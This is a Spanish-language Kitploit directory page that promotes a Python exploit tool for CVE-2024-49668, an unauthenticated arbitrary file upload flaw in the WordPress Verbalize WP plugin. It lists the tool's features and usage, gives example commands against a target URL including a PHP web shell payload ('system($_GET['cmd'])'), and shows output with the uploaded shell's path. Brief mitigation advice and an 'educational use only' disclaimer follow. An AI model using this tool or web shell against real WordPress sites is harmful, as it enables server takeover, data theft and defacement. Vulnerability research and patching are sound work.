Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-49668 — WordPress Verbalize WP plugin <= 1.0 - Vulnerabilidad de subida arbitraria de archivos | Kitploit
Herramientas/GitHubGitHub/nxploited/cve-2024-49668
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubnxploited/cve-2024-49668

CVE-2024-49668

WordPress Verbalize WP plugin <= 1.0 - Vulnerabilidad de subida arbitraria de archivos

Ver Repositorio
2hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

🚨 CVE-2024-49668: Vulnerabilidad de subida arbitraria de archivos en el plugin Verbalize WP de WordPress

📋 Resumen

CVE-2024-49668 es una vulnerabilidad crítica en las versiones 1.0 y anteriores del plugin Verbalize WP de WordPress. Esta vulnerabilidad permite a atacantes no autenticados subir archivos arbitrarios, incluidos web shells, al servidor web. El problema surge debido a una validación de entrada insuficiente y a restricciones deficientes de tipos de archivo durante la subida de archivos.

Detalles

  • Publicado: 2024-10-23
  • Actualizado: 2024-10-23
  • Título: Plugin Verbalize WP de WordPress <= 1.0 - Vulnerabilidad de subida arbitraria de archivos
  • Descripción: Vulnerabilidad de subida sin restricciones de archivos con tipo peligroso en Admin Verbalize WP para subir un web shell a un servidor web. Este problema afecta a Verbalize WP desde n/a hasta 1.0.
  • CWE: CWE-434: Subida sin restricciones de archivos con tipo peligroso
  • Puntuación CVSS: 10.0 (Crítica)
  • Cadena de vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

🛠️ Script de Explotación

Este script de Python explota la vulnerabilidad CVE-2024-49668 para subir un archivo shell al sitio WordPress objetivo mediante el plugin Verbalize WP.

Características

  • Comprobación automatizada de vulnerabilidad: El script verifica si el sitio objetivo es vulnerable comprobando la versión del plugin en readme.txt.
  • Subida de archivos: Sube un archivo shell PHP al sitio objetivo.
  • Extracción de ruta: Extrae y muestra la ruta completa del archivo shell subido.

🧰 Requisitos

  • Python 3.x
  • Librería requests

Instale la librería requerida usando pip:

root@kitploit:~
pip install requests

🚀 Uso

root@kitploit:~
usage: 
CVE-2024-49668.py [-h] -u URL [-s SHELL]

Execute a POST request to a WordPress site.

options:
  -h, --help         show this help message and exit
  -u, --url URL      Target URL
  -s, --shell SHELL  Shell code to upload

Ejemplo

De forma predeterminada, el script subirá un shell PHP que ejecuta phpinfo().

root@kitploit:~
python CVE-2024-49668.py -u http://target.com

También puede especificar un código de shell PHP personalizado para subir:

root@kitploit:~
python CVE-2024-49668.py -u http://target.com -s "<?php system($_GET['cmd']); ?>"

📄 Salida del Script

root@kitploit:~
The site is vulnerable. Exploiting version: 1.0. Uploading file...
Shell path: /wp-content/uploads/audio-text/4091/audio-demo.php
Exploit By: Nxploit, Khaled ALenazi

📚 Información Adicional

Impacto de la Vulnerabilidad

La vulnerabilidad CVE-2024-49668 permite a los atacantes obtener el control total del servidor objetivo mediante la subida de archivos maliciosos. Explotar esta vulnerabilidad puede acarrear graves consecuencias, como filtraciones de datos, acceso no autorizado y un posible defacement del sitio web.

Mejores Prácticas de Mitigación

Para proteger su sitio WordPress de esta vulnerabilidad, se recomienda:

  • Actualizar el plugin Verbalize WP a la última versión que solucione este problema.
  • Implementar validaciones sólidas de subida de archivos para restringir los tipos y tamaños de archivo.
  • Supervisar periódicamente los registros del servidor para detectar actividades sospechosas.

Aviso Legal

Esta herramienta está destinada únicamente a fines educativos. El uso no autorizado de esta herramienta contra sitios web sin el permiso explícito del propietario es ilegal. Los autores no se responsabilizan por cualquier uso indebido o daño causado por esta herramienta.

Creado el 2025-03-22 por Nxploited, Khaled alenazi

Descargar herramienta